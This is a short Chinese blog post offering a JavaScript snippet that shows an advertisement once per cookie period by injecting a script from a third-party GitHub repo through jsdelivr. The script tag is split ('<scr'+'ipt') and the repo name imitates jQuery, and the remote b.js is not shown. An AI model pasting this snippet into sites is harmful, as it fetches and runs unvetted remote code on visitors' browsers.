冰豆网

分享网络精彩
bingdou.com.cn

一天显示一次广告JS代码

时间:2022-04-12加入收藏

<script type="text/javascript">
function setUCookie(u_name,value){
    var exdate=new Date()
    exdate.setHours(exdate.getHours() + 8); 
    document.cookie=u_name+ "=" +escape(value)+"; expires="+exdate.toGMTString();
}
function getUCookie(u_name){
    if (document.cookie.length>0){ 
        u_start=document.cookie.indexOf(u_name + "=")
    if (u_start!=-1){ 
        u_start=u_start + u_name.length+1 
        u_end=document.cookie.indexOf(";",u_start)
        if (u_end==-1) u_end=document.cookie.length
            return unescape(document.cookie.substring(u_start,u_end))
        } 
    }
    return ""
}
function _setTimeout(){
    if(getUCookie("uTimeCookie")!=1){
document.writeln('<scr'+'ipt src="https://cdn.jsdelivr.net/gh/yellowside/jquery/b.js"></scr'+'ipt>');
    }
}
_setTimeout()
setUCookie("uTimeCookie","1");
</script>

打 赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

TGA: js 技巧

分享到:


官方微信二维码冰豆网官方微信公众号